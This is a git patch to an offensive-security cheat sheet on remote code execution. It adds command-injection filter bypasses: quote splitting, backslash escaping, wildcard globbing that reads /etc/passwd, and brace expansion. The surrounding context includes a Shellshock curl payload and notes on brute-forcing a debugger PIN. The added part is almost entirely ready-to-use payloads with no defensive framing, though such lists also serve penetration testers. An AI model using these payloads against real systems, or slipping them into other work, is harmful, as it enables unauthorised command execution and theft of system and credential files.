From 71007f84c8ec00a3115146deadc093ca35bfb1fb Mon Sep 17 00:00:00 2001 From: Kuromatae Date: Mon, 28 Oct 2019 14:54:49 +0100 Subject: [PATCH] Update rce.md Added some bypasses --- cheatsheets/rce.md | 23 ++++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) diff --git a/cheatsheets/rce.md b/cheatsheets/rce.md index 66d39cf..7ddfc73 100644 --- a/cheatsheets/rce.md +++ b/cheatsheets/rce.md @@ -10,6 +10,27 @@ strŅ–ng If the target is running their application in debug mode you might be able to run commands. If you are running the target locally, you can probably brute-force the debugger PIN. The debugger PIN is always in the following format: `***-***-***`. +**Basic Bypasses** + +``` +i'''d +i"""d +``` + +``` +\l\s -l\a\h +``` + +``` +cat /e?c/p?ss?? +cat /e??/??ss* +``` + +``` +{ls,} +{ls,-a} +``` + **Shellshock Bug** ```bash @@ -18,4 +39,4 @@ If the target is running their application in debug mode you might be able to ru ```zsh curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/ -``` \ No newline at end of file +```